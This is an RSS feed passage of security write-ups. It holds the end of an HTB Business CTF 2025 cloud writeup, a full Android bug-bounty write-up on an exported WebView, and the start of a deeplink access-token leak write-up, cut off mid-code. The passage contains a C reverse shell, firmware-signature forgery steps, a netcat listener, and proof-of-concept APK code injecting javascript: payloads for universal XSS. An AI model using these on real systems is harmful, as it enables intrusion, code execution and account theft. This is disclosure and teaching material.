*)&amp;server, sizeof(server)) &lt; 0) {<br>        perror(&quot;connect&quot;);<br>        exit(1);<br>    }<br><br>    dup2(sock, 0);<br>    dup2(sock, 1);<br>    dup2(sock, 2);<br><br>    execl(&quot;/bin/sh&quot;, &quot;sh&quot;, NULL);<br><br>    return 0;<br>}</pre><p>Then we forge the signature of the code, by doing this:</p><ol><li>Get the SHA256sum of main.c</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yninrRtCDLCMr725Li4Hcw.png" /></figure><p>2. Create a new firmware_meta.json, put the sha256 hash in the “firmware_hash”. Remove the “signature” part.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KgSluHTILEfVCHVNKMWM0Q.png" /></figure><p>3. Sign the new firmware_meta.json with the private key, take the base64 value of the new signature.</p><pre>openssl dgst -sha256 -sign getpriv.pem -out signature.sig firmware_meta.json<br>base64 -w0 signature.sig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ps8mUhoCenj5MX4oE2g7Dw.png" /></figure><p>4. Add the new signature to firmware_meta.json</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Choa1pKUJNofZtdk2jgobQ.png" /></figure><p>Now we have made modified main.c and firmware_meta.json, let’s add them to the repository. We can edit the repository through Web IDE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qMy0n48wN_YUjBgSQvkm6w.png" /></figure><p>Replace the content of the main.c and firmware_meta.json with our modified one. After that, commit the change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zcb9pslMc1PWqKevgsfIoA.png" /></figure><p>Create merge request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uMe3N4So9VkgrvztLujXOw.png" /></figure><p>After the merge request created, it immediately merged to the main repository due to administrator have enabled the automatic merge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwVZdZ_85X6lG83aaJ3HiA.png" /></figure><p>We can check the main.c file in the repository again, it has modified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwg1MBxeWOM-Mx4UBZlLVg.png" /></figure><p>Now we know that the project has been updated with our malicious code, let’s run the build. But first, we have to prepare the reverse shell listener from our VPS.</p><pre>nc -nvlp 6004</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rtgps6Me0rlQleydHc2HrQ.png" /></figure><p>Run the finishing blow.</p><pre>aws codebuild start-build --project-name volnaya-firmware-build \<br>--profile pipedream_root --region us-east-2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*erVtr5YHV2BUabNqRxWGwQ.png" /></figure><p>Reverse shell <strong>as root</strong> will be popped up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZXr_WjsQsPjb5oYOVf10eg.png" /></figure><p>Now that’s real flag for us!</p><p>This challenge is really fun and creative challenge, as there are many aspects of cloud knowledge we could learn.</p><h4>Flag</h4><blockquote><strong>HTB{Br34k1ng_th3_Bu1ld}</strong></blockquote><h3>Conclusion</h3><p>And that wraps up our Cloud CTF journey!</p><p>We’ve covered more advanced scenarios, dug into privilege escalation paths, and explored how small misconfigurations can open serious risks in cloud environments.</p><p>Hopefully, this writeup not only helped you understand the solutions, but also gave you some ideas on how to approach similar cloud challenges in future CTFs or real-world scenarios.</p><p>Also, kudos to all HTB Business CTF 2025 problem setters and staff for organizing this spectacular event. I’m hoping next year’s edition will be even more of a blast!</p><p>If you found this helpful, feel free to share, discuss, or even drop feedback — always happy to learn and improve.</p><p>Thanks for reading &amp; happy hacking! 🚀</p><h3>References</h3><ul><li><a href="https://security.theodo.com/en/blog/aws-cognito-pentest">AWS Cognito pentest methodology | Padok Security</a></li><li><a href="https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/">Abusing Overpermissioned AWS Cognito Identity Pools - Hacking The Cloud</a></li><li><a href="https://nsfocusglobal.com/vite-arbitrary-file-read-vulnerability-cve-2025-31486/">Vite Arbitrary File Read Vulnerability (CVE-2025-31486) - NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks.</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4274d9ea2646" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/learning-cloud-with-htb-business-ctf-2025-a-complete-cloud-writeup-part-2-end-4274d9ea2646">Learning Cloud with HTB Business CTF 2025 — A Complete (cloud) Writeup: Part 2 (END)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bounty of an Insecure WebView (Part 1): XSS, but with Steroids]]></title>
            <link>https://infosecwriteups.com/bounty-of-an-insecure-webview-part-1-xss-but-with-steroids-1a41cf654048?source=rss-95298496373d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a41cf654048</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[webview]]></category>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android-bug-bounty]]></category>
            <dc:creator><![CDATA[Crisdeo Nuel Siahaan]]></dc:creator>
            <pubDate>Thu, 28 Sep 2023 02:44:35 GMT</pubDate>
            <atom:updated>2023-10-01T18:14:07.750Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DrXexgcRloxJCFMPqe-C1g.jpeg" /></figure><p>We all love our mobile apps, right? They make life easier, more fun, and keep us connected. But, did you know there’s a secret weapon developers use called <strong>WebView</strong>? It’s like that fancy bridge that connects your app to the web. Imagine you’re using your favorite app, and suddenly, it opens a mini-browser to show you some web content. That’s <strong>WebView </strong>in action! Sounds cool, but here’s the kicker: if not handled right, it can be a hacker’s dream come true.</p><p>That’s why in this article, we’ll see how a single WebView misconfiguration can put your app and your users at risk. I will make 2 Medium articles about this case to provide a more detailed explanation of the impacts.</p><p>If you haven’t read my previous article about WebView vulnerabilities, I recommend checking it out <a href="https://infosecwriteups.com/how-i-leak-others-access-token-by-exploiting-evil-deeplink-flaw-a0a566677639">here</a>. Enough talking, let’s just begin, shall we?</p><h3>The Bug(s)</h3><p>This time, the target is an international online travel application from Singapore. Again, due to the non-disclosure policy let’s call the application as <strong>redacted</strong> okay? 😉</p><p>After installing the app from playstore, I pull the .apk file from my android device to my pc with adb (Android Debug Bridge):</p><ol><li>Identifying the package name of the app</li></ol><pre>adb shell pm list packages</pre><p>2. Get the full path name of the .apk file</p><pre>adb shell pm path com.redacted.someapp</pre><p>3. Using the full path name from Step 2, pull the .apk file from the device to my pc</p><pre>adb pull /data/app/com.redacted.someapp/base.apk path/to/destination</pre><h4>Arbitrary URL x Webview</h4><p>As usual, I began the code analysis with <strong>jadx-gui</strong> tools to decompile the APK file. After decompiling the APK, I examined the <em>AndroidManifest.xml</em> file to identify <strong>possible </strong>attack surfaces. There’s one of them that look like this:</p><pre>&lt;activity android:configChanges=&quot;orientation|screenSize&quot; android:exported=&quot;true&quot; android:label=&quot;@string/com_login_button&quot; android:launchMode=&quot;singleTop&quot; android:name=&quot;com.redactedthirdparty.auth.authorization.authcode.WebViewActivity&quot; android:windowSoftInputMode=&quot;adjustResize&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><p>WebViewActivity? Being Exported?? Something already smells fishy at this point 🤔. As I mentioned in my previous <a href="https://infosecwriteups.com/how-i-leak-others-access-token-by-exploiting-evil-deeplink-flaw-a0a566677639">post</a>, WebViewActivity (or any activity that passes a URI to WebViewActivity) <strong>could </strong>be dangerous if it’s being exported, especially if the URL is not being validated. This is because being exported means any other application can access this activity and load the URL being passed to the WebView.</p><p>Time to investigate more of this <strong>com.redactedthirdparty.auth.authorization.authcode.WebViewActivity </strong>thing 🥸.</p><pre>private static final int IMAGE_REQUEST_CODE = 9999;<br>public static final String KEY_EXCEPTION = &quot;key.exception&quot;;<br>public static final String KEY_EXTRA_HEADERS = &quot;key.extra.headers&quot;;<br>public static final String KEY_REDIRECT_URL = &quot;key.redirect.url&quot;;<br>public static final String KEY_RESULT_RECEIVER = &quot;key.result.receiver&quot;;<br>public static final String KEY_URL = &quot;key.url&quot;;<br>public static final String KEY_USE_SMS_RECEIVER = &quot;key.use.sms.receiver&quot;;<br>public static final String KEY_USE_WEBVIEW_TIMERS = &quot;key.use.webview.timers&quot;;<br>public static final int RESULT_ERROR = 1;<br>public static final int RESULT_SUCCESS = 0;<br>private static SmsReceiver smsReceiver;<br>public final Map&lt;String, String&gt; headers = new HashMap();<br>public ValueCallback&lt;Uri&gt; imageCallback;<br>public ValueCallback&lt;Uri[]&gt; lollipopImageCallback;<br>private ProgressBar progressBar;<br>private ResultReceiver resultReceiver;<br>public boolean shouldProceedWithSslError;<br>private String url;<br>private boolean useSmsReceiver;<br>private boolean useWebViewTimers;<br>public WebView webView;    <br><br>@SuppressLint({&quot;SetJavaScriptEnabled&quot;})<br>private void initUi() {<br>    this.webView = (WebView) findViewById(R.id.webview);<br>    this.progressBar = (ProgressBar) findViewById(R.id.progress_bar);<br>    this.webView.setBackgroundResource(17170443);<br>    this.webView.setVerticalScrollBarEnabled(false);<br>    this.webView.setHorizontalScrollBarEnabled(false);<br>    this.webView.setWebViewClient(new RedactedWebViewClient());<br>    this.webView.setWebChromeClient(new RedactedWebChromeClient());<br>    this.webView.getSettings().setJavaScriptEnabled(true);<br>    this.webView.getSettings().setSaveFormData(RedactedSDK.getAdapter().getSessionConfig().isSaveFormData());<br>    this.webView.getSettings().setSavePassword(false);<br>    setProgressBarVisibility(0);<br>    this.webView.loadUrl(this.url, this.headers);<br>}<br><br>private void parseIntent(Intent intent) {<br>    this.url = intent.getStringExtra(KEY_URL);<br>    this.useWebViewTimers = intent.getBooleanExtra(KEY_USE_WEBVIEW_TIMERS, false);<br>    this.useSmsReceiver = intent.getBooleanExtra(KEY_USE_SMS_RECEIVER, false);<br>    this.resultReceiver = (ResultReceiver) intent.getParcelableExtra(KEY_RESULT_RECEIVER);<br>    Bundle bundle = (Bundle) intent.getParcelableExtra(KEY_EXTRA_HEADERS);<br>    this.headers.put(CommonProtocol.KA_HEADER_KEY, SystemInfo.getKAHeader());<br>    if (bundle == null || bundle.isEmpty()) {<br>        return;<br>    }<br>    for (String str : bundle.keySet()) {<br>          this.headers.put(str, bundle.getString(str));<br>    }<br>}<br><br>protected void onCreate(Bundle bundle) {<br>    try {<br>        requestWindowFeature(1);<br>        super.onCreate(bundle);<br>        parseIntent(getIntent());<br>        setContentView(R.layout.activity_redacted_webview);<br>        initUi();<br>        registerSmsReceiverIfNeeded();<br>    } catch (Exception e) {<br>        sendErrorToListener(e);<br>        finish();<br>    }<br>}</pre><p>Here’s what happened:</p><ul><li>When the WebViewActivity<strong> </strong>first created, <strong>onCreate()</strong> is called.</li><li>on <strong>parseIntent()</strong>, the incoming intent will be handled and the extra intent data (KEY_URL, KEY_USE_WEBVIEW_TIMERS, KEY_USE_SMS_RECEIVER, etc.) will be stored into variables.</li><li>The url data comes with “key.url” as the key and the url itself as the value, which will be handled by <strong>parseIntent()</strong> and store it in <em>this.url</em>.</li><li><strong>initUI()</strong> is where the WebView settings being configured and also will load the <em>this.url</em> into the webview.</li></ul><blockquote>What is extra data? When calling another app component, an intent can bring additional piece of information called extra data (or extras). This extra data provides specific details or context for the intended action, allowing the receiving component to understand and respond appropriately.</blockquote><p>In our case, we need to define an extras with “key.url”as key and url as value to our intent, so it will be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y_Q3s13SckiQUx0ABOTVcw.jpeg" /><figcaption>sending intent with extras</figcaption></figure><blockquote><em>If you want to know more about intents and its attributes, you can check </em><a href="https://developer.android.com/reference/android/content/Intent"><em>https://developer.android.com/reference/android/content/Intent</em></a><em>. As for now, let’s get back to the analysis.</em></blockquote><p>According to the code, the passed url seems like not being validated at all, which means <strong>we can supply this webview with any url we like</strong>. However, we can’t use deeplink method to launch the webview like before due to the intent filter is not being defined in the AndroidManifest. <strong>We have to use other apk to pass the intent containing our webhook in the extras.</strong></p><p>But it would be inefficient to build an apk everytime we want to test something, right? Relax, we can test it with this bad boy:</p><pre>adb shell am start -n &quot;com.redacted.someapp/com.redactedthirdparty.auth.authorization.authcode.WebViewActivity&quot; --es &quot;key.url&quot; &quot;https://eoms029u34bbupq.m.pipedream.net&quot;</pre><ul><li>adb shell : adb command to execute shell commands on Android device</li><li>am start : Specifies that we want to start an Android activity.</li><li>- n : Specifying &quot;package_name/activity_name&quot;</li><li>— es : Specifying “extras_key” “extras_value”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6TXzhhNqOvogRGTGQ3i5fQ.png" /><figcaption>request &amp; response on the webview</figcaption></figure><p>Sweet! Now our url is loaded, we can build our proof-of-concept apk:</p><p><strong>AndroidManifest.xml</strong></p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;<br>&lt;manifest xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;<br>    xmlns:tools=&quot;http://schemas.android.com/tools&quot;&gt;<br><br>    &lt;application<br>        android:allowBackup=&quot;true&quot;<br>        android:dataExtractionRules=&quot;@xml/data_extraction_rules&quot;<br>        android:fullBackupContent=&quot;@xml/backup_rules&quot;<br>        android:icon=&quot;@mipmap/ic_launcher&quot;<br>        android:label=&quot;@string/app_name&quot;<br>        android:supportsRtl=&quot;true&quot;<br>        android:theme=&quot;@style/Theme.Hacked&quot;<br>        tools:targetApi=&quot;31&quot;&gt;<br>        &lt;activity<br>            android:name=&quot;.MainActivity&quot;<br>            android:exported=&quot;true&quot;&gt;<br>            &lt;intent-filter&gt;<br>                &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;<br>                &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;<br>            &lt;/intent-filter&gt;<br>        &lt;/activity&gt;<br><br>    &lt;/application&gt;<br><br>&lt;/manifest&gt;</pre><p><strong>MainActivity.java</strong></p><pre>package com.ngobrol.hacked;<br><br>import androidx.appcompat.app.AppCompatActivity;<br><br>import android.content.Intent;<br>import android.os.Bundle;<br>import android.util.Log;<br><br>public class MainActivity extends AppCompatActivity {<br><br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br><br>        Intent extra = new Intent(&quot;android.intent.action.VIEW&quot;);<br>        extra.setClassName(&quot;com.redacted.someapp&quot;,&quot;com.redactedthirdparty.auth.authorization.authcode.WebViewActivity&quot;);<br>        extra.putExtra(&quot;key.url&quot;,&quot;https://eoms029u34bbupq.m.pipedream.net&quot;);<br><br>        startActivity(extra);<br>    }<br>}</pre><p>Make sure the apk performed the same as what we did with the adb command. Therefore, we got our first bug: <strong>Lack of validation leads to arbitrary URLs loaded in Exported WebView</strong>. But can we do more?</p><h4>Making our way to Evil JS Execution</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Dtg3sPGx2gKgvnYMQrOoA.jpeg" /></figure><p>In the target app’s <strong>initUI()</strong> method, it has webview settings attribute <em>setJavaScriptEnabled(true)</em>. It’s quite self-explanatory, it means the settings tells the WebView to enable JavaScript execution. So not only attacker can make user visit the malicious url, malicious javascript could be executed as well.</p><p>Here’s the modified poc apk to test:</p><p><strong>MainActivity.java</strong></p><pre>package com.ngobrol.hacked;<br><br>import androidx.appcompat.app.AppCompatActivity;<br><br>import android.content.Intent;<br>import android.os.Bundle;<br>import android.util.Log;<br><br>public class MainActivity extends AppCompatActivity {<br><br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br><br>        Intent extra = new Intent(&quot;android.intent.action.VIEW&quot;);<br>        extra.setClassName(&quot;com.redacted.someapp&quot;,&quot;com.redactedthirdparty.auth.authorization.authcode.WebViewActivity&quot;);<br>        extra.putExtra(&quot;key.url&quot;,&quot;javascript:alert(&#39;hehe&#39;)&quot;);<br><br>        startActivity(extra);<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*9RmVD2tAWUOUB1IHZt0G9g.png" /><figcaption>Evil JS Execution</figcaption></figure><p>Splendid!</p><p>Moreover, using <strong>“javascript:”</strong> isn’t the sole method for attackers to execute JavaScript payloads through the WebView. Victims who visit websites with malicious JavaScript embedded will also be affected. And that’s how enabling setJavaScriptEnabled(true)helps escalate the impact to <strong>Evil JavaScript Execution</strong>.</p><p>BUT CAN WE DO MORE???</p><h4>Universal XSS</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*16KLCaOiju5n5OjiNMhJyA.jpeg" /><figcaption>Universal XSS</figcaption></figure><p>Universal XSS (UXSS) is a type of XSS attack that typically occurs in browsers or browser extensions, generating an XSS condition. Unlike traditional XSS, its sibling, <strong>UXSS doesn’t require a vulnerable web page to trigger the XSS</strong>. Instead, the XSS can be triggered on any web page opened through the vulnerable browser, thereby creating a vulnerability where none existed in the first place.</p><p>In our case, let’s take a look at the code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*4b7pTwO1yxdod-pfZuxMWg.png" /><figcaption>onCreate and onNewIntent</figcaption></figure><p>Quoted from <a href="https://blog.oversecured.com/Android-security-checklist-webview/#universal-xss">oversecured.com</a>: onNewIntent is a method that is called each time the activity receives a new Intent. Since onNewIntent also call “<strong>parseIntent()</strong>” and load a new URL, we could smuggle JavaScript code to be executed on the WebView.</p><p>So, to achieve Universal XSS, I constructed my proof-of-concept app like this:</p><p><strong>MainActivity.java</strong></p><pre>package com.ngobrol.hackeduxss;<br>import androidx.appcompat.app.AppCompatActivity;<br>import android.content.Intent;<br>import android.net.Uri;<br>import android.os.Bundle;<br>import android.os.Handler;<br><br>public class MainActivity extends AppCompatActivity {<br><br>  @Override<br>  protected void onCreate(Bundle savedInstanceState) {<br>    super.onCreate(savedInstanceState);<br>    setContentView(R.layout.activity_main);<br>    Intent intent = new Intent(&quot;android.intent.action.VIEW&quot;);<br>    intent.setClassName(&quot;com.redacted.someapp&quot;,&quot;com.redactedthirdparty.auth.authorization.authcode.WebViewActivity&quot;);<br>    intent.putExtra(&quot;key.url&quot;,&quot;https://example.com&quot;);//url of any websites you want to set the xss<br>    startActivity(intent);<br>    new Handler().postDelayed(() -&gt; {<br>      Intent second = new Intent(&quot;android.intent.action.VIEW&quot;);<br>      second.setClassName(&quot;com.redacted.someapp&quot;,&quot;com.redactedthirdparty.auth.authorization.authcode.WebViewActivity&quot;);<br>      second.putExtra(&quot;key.url&quot;,&quot;javascript:alert(document.domain)&quot;);//malicious js here<br>      startActivity(second);<br>    }, 3000);<br>  }<br>}</pre><p>When it is first run, it opens a website on which we want to set up the XSS. After a short period of time, JavaScript code is injected and executed on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mZB_B6CsWFmGfT_MRKMPbw.png" /><figcaption>Achieved UXSS</figcaption></figure><p>We successfully achieved an XSS attack on <strong>http://example.com</strong>, not because the domain was already vulnerable, but because we injected JavaScript code to be executed there. Just like that, you can perform XSS attacks on any domain we specify using this method.</p><p>So, that’s it! Thank you for reading this article. In the next part, we will discuss how to escalate this vulnerable web view to steal the victim’s personal files. Stay Tuned!</p><p>Stay Curious!</p><h3>Key Takeaway</h3><ul><li>Conduct a static analysis on the exported activity to identify potential components that could leverage the impact.</li><li>Test all possible entry points and application behavior to uncover vulnerabilities.</li></ul><h3>Timeline</h3><p>24 Aug 2023 : Bugs was discovered.</p><p>28 Aug 2023 : Bugs was reported to company by email</p><p>14 Sep 2023: The second report has been confirmed and awarded with the app’s currency equivalent to $$$</p><p>15 Sep 2023: First report was marked as duplicate (due to same root cause issue with my other report, oh well)</p><p>Thanks for reading! Check out these awesome references too!</p><p><a href="https://blog.oversecured.com/Android-security-checklist-webview/">https://blog.oversecured.com/Android-security-checklist-webview/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a41cf654048" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/bounty-of-an-insecure-webview-part-1-xss-but-with-steroids-1a41cf654048">Bounty of an Insecure WebView (Part 1): XSS, but with Steroids</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Leak Other’s Access Token by Exploiting Evil Deeplink Flaw]]></title>
            <link>https://infosecwriteups.com/how-i-leak-others-access-token-by-exploiting-evil-deeplink-flaw-a0a566677639?source=rss-95298496373d------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0a566677639</guid>
            <category><![CDATA[access-token]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[deeplink]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Crisdeo Nuel Siahaan]]></dc:creator>
            <pubDate>Mon, 13 Mar 2023 09:32:03 GMT</pubDate>
            <atom:updated>2023-03-13T09:32:03.457Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dHT-9drP4M1PQ4ABEAHRrg.jpeg" /></figure><h3>Introduction</h3><p>Deep linking has become a crucial aspect of modern mobile app development, allowing for seamless navigation within and between apps. However, this seemingly flawless feature of deep linking can become a point of exploitation due to misconfigurations in many Android apps.</p><p>In this article, I’m going to talk about deep linking and the bug I found that allowed me to steal another user’s access token. So, let’s just begin.</p><h3>What the deeplink doin?</h3><p>Have you ever clicked on a link and been taken straight to a specific part of an app? This is called deep linking, and it’s a big part of how many apps work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*Gh6hGAxkCvFPFT3JWckKqQ.gif" /><figcaption>Deeplink mechanism (<a href="https://hackernoon.com/react-native-deep-linking-for-ios-and-android-d33abfba7ef3">source</a>)</figcaption></figure><h4>📜 Deeplink &amp; Exported Activity</h4><p>A deeplink is a type of hyperlink that can take you directly to a specific page or function within an app instead of just opening the app’s homepage. Applications usually set the deeplink route by specifying them in <em>AndroidManifest.xml </em>file like this:</p><pre>&lt;activity android:name=&quot;com.anjay.DeepLinkActivity&quot; android:exported=&quot;true&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:scheme=&quot;anjay&quot; android:host=&quot;mantapgan&quot;/&gt;<br>        &lt;data android:pathPattern=&quot;/gaming&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><ul><li>Deeplink can access com.anjay.DeepLinkActivity due to being exported</li><li>&lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt; specifies the action of the intent, which is to view data.</li><li>&lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt; specifies the default category for the intent.</li><li>&lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt; specifies that deeplink can access the component by the link on web browser or external application.</li><li>Deeplink form will be: anjay://mantapgan/gaming</li></ul><p><strong>Exported activities</strong> (indicated by the &lt;activity android:exported=”true”&gt;attribute) are activities that can be accessed and launched by other apps on the device, and it’s a requirement for deep linking to work properly.</p><h4>🔍 WebView</h4><p>Apps often use WebView to show website content inside an application, such as displaying news articles from different sources in one news app. To make it work, URL must be passed into a WebView so they’ll know which webpage or web application to display.</p><h4>🐛 Where’s the flaw?</h4><p>The vulnerability I’m about to present is called <strong>Loading arbitrary URLs in a WebView, </strong>which happened when attacker injects arbitrary URL resulting in the application display the attacker’s website unintendedly. If JavaScript is enabled, then even an XSS attack can happen on the WebView. It means, The impact of this flaw may be vary, depending on the app.</p><p>Deeplinks are one of the features that can be the “gate” that allows malicious URLs to be injected into WebView function. In some cases, deeplinks can control WebView through parameters such as url, extra_url, link, redirect, or page which will act as URIs that will be passed into the WebView loader. <strong>If we can modify these parameters that we have supplied and there is no validation for the URL, so that WebView is able to access any URL</strong>… then congratulations, it’s likely a bug 🎉🎉.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NWPI9R6N1goPAtKnPkOBLg.jpeg" /><figcaption>Loading arbitrary URLs in a WebView</figcaption></figure><h4>🛡️ How to protect?</h4><p>Validating the URL passed to a WebView is crucial to ensure that the intended website is opened and to prevent potential security risks such as phishing or malware attacks. Therefore, it is recommended that developers perform proper URL validation before loading the URL in the WebView component of their application.</p><h3>The Bug</h3><p>The target is an Donation and Fundraising application from my country. Unfortunately, due to the non-disclosure policy let’s call the application as <strong>redacted</strong> okay? 😉</p><p>Initially, I used <strong>jadx-gui</strong> to decompile and analyze the APK file. After decompiling the APK, I examined the <em>AndroidManifest.xml</em> file to identify <strong>exported activities</strong>. There’s one of them that look like this:</p><pre>&lt;activity android:theme=&quot;@style/AppTheme.Transparent&quot; android:name=&quot;com.redacted.android.ui.deeplink.DeepLinkActivity&quot; android:exported=&quot;true&quot;&gt;<br>    &lt;intent-filter android:autoVerify=&quot;true&quot;&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:scheme=&quot;https&quot; android:host=&quot;redacted.com&quot;/&gt;<br>        &lt;data android:path=&quot;&quot;/&gt;<br>        &lt;data android:path=&quot;/&quot;/&gt;<br>        &lt;data android:pathPattern=&quot;/mydonation&quot;/&gt;<br>        &lt;data android:pathPattern=&quot;/inbox&quot;/&gt;<br>        &lt;data android:pathPattern=&quot;/help&quot;/&gt;<br>        &lt;data android:pathPattern=&quot;/contact&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>    &lt;intent-filter android:autoVerify=&quot;true&quot;&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:scheme=&quot;rdct&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>    &lt;intent-filter android:autoVerify=&quot;true&quot;&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:scheme=&quot;https&quot; android:host=&quot;redacted.onelink.me&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><p>Interesting. The one activity that is exported is none other than the deeplink activity itself. I took a note for all the schemes, hosts, and paths that might be useful for later. hen, I went ahead and took a closer look at the com.redacted.android.ui.deeplink.DeepLinkActivity</p><h4><strong>DeepLinkActivity</strong></h4><pre>public final void onCreate(Bundle bundle) {<br>    super.onCreate(bundle);<br>    setContentView(((ActivityDeeplinkBinding) this.V.getValue()).getRoot());<br>    Uri data = getIntent().getData();<br>    if (data != null) {<br>        String scheme = data.getScheme();<br>        String host = data.getHost();<br>        List&lt;String&gt; pathSegments = data.getPathSegments();<br>        l.e(&quot;pathSegments&quot;, pathSegments);<br>        String query = data.getQuery();<br>        String uri = data.toString();<br>        l.e(&quot;toString()&quot;, uri);<br>        y1().d(new a.b.C0965a(scheme, host, query, uri, pathSegments));<br>    }<br>}</pre><p>Alright, so in this activity, our deeplink gets extracted into a set of data. For instance, if we have rdct://redacted.com/inbox?inboxid=12345, then the components will be:</p><ul><li>scheme: rdct</li><li>host: redacted.com</li><li>query: ?inboxid=12345</li><li>uri: rdct://redacted.com/inbox?inboxid=12345</li><li>pathSegments: [“inbox”]</li></ul><p>After that, the data will be passed into a.b.C0965a()as the function’s parameters. Let’s examine that one.</p><h4><strong>a.b.C0965a()</strong></h4><pre>public static abstract class b {<br>    public static final class C0965a extends b {<br>        public C0965a(String str, String str2, String str3, String str4, List list) {<br>            this.str = str;<br>            this.str2 = str2;<br>            this.list = list;<br>            this.str4 = str4;<br>        }<br>    }<br>}<br><br>public final void d(b bVar) {<br>    l.f(&quot;intent&quot;, bVar);<br>    if (bVar instanceof b.C0965a) {<br>        b.C0965a c0965a = (b.C0965a) bVar;<br>        String str = c0965a.str;<br>        String str2 = c0965a.str2;<br>        List&lt;String&gt; list = c0965a.list;<br>        String str4 = c0965a.str4;<br>        boolean z11 = true;<br>        if (l.a(str, &quot;https&quot;) &amp;&amp; (l.a(str2, &quot;m.redacted.com&quot;) || l.a(str2, &quot;www.redacted.com&quot;) || l.a(str2, &quot;redacted.com&quot;))) {<br>            if ((!list.isEmpty()) &amp;&amp; h.f22766a.contains(list.get(0))) {<br>                e(new AbstractC0963a.C0964a(n.f.a(&quot;rdct://urlweb?url=&quot;, str4)));<br>                return;<br>            }<br>       